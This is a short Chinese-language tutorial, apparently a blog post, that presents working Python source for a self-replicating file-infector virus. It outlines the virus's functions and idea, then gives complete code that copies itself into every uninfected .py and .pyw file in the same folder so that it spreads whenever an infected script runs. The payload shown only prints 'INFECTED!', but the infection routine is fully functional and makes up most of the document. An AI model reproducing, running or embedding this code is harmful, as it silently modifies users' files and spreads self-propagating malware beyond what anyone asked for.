病毒功能

1. 自我复制
2. 感染其他文件
3. 执行特定代码

思路

此病毒自动检测同文件夹下其他py文件，把自己复制进去，执行其他被感染的py文件时，病毒又会通过其传播。

代码

## START OF VIRUS ##
import sys,glob

code =[]
with open(sys.argv[0],'r') as f:
    lines = f.readlines()

virus_area = False
for line in lines:
    if line == '## START OF VIRUS ##\n':
        virus_area = True
    if virus_area:
        code.append(line)
    if line == '## END OF VIRUS ##':
        break

python_scripts = glob.glob('*.py') + glob.glob('*.pyw')

for script in python_scripts:
    with open(script,'r') as f:
        script_code = f.readlines()

    infected = False
    for line in script_code:
        if line == '## START OF VIRUS ##\n':
            infected = True
            break
    
    if not infected:
        final_code = []
        final_code.extend(code)
        final_code.extend('\n')
        final_code.extend(script_code)

        with open(script,'w') as f:
            f.writelines(final_code)

# 感染后要做的行为
print("INFECTED!")

## END OF VIRUS ##

效果

运行viru.py前

运行viru.py后